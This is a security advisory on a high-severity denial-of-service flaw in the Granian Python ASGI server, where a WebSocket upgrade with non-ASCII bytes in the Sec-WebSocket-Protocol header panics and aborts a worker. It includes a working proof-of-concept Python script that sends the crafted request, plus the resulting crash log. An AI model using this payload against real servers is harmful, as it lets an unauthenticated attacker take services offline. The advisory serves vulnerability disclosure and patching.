PT-2026-59166 · Pypi · Granian
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
7.5
High
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
Summary
Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose
Sec-WebSocket-Protocol header contains non-ASCII bytes.The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.
This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.
Details
HeaderValue::to str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.In release builds Granian sets
panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.PoC
Step 1.
starts a Granian ASGI server
python
# app.py
async def app(scope, receive, send):
if scope["type"] == "websocket":
await receive()
await send({"type": "websocket.accept"})
return
await send({"type": "http.response.start", "status": 200, "headers": []})
await send({"type": "http.response.body", "body": b"ok"})bash
granian --interface asgi app:app --host 127.0.0.1 --port 8000Step 2.
sending a raw upgrade request with
Sec-WebSocket-Protocol: x80xff reached this code path and caused the worker to abort.python
# ws-subproto-crash.py
import base64, os, socket, sys
host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()
req = (
f"GET {path} HTTP/1.1r
Host: {host}:{port}r
"
"Upgrade: websocketr
Connection: Upgrader
"
f"Sec-WebSocket-Key: {key}r
Sec-WebSocket-Version: 13r
"
).encode() + b"Sec-WebSocket-Protocol: x80xffr
r
"
with socket.create connection((host, port), timeout=5) as s:
s.sendall(req)
print(s.recv(4096))bash
python ws-subproto-crash.py 127.0.0.1 8000 /Observed server output:
thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granianImpact
- Unauthenticated remote denial of service
- One crafted request kills one worker
- The application is never reached, so application-level authentication or routing does not mitigate the issue
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Granian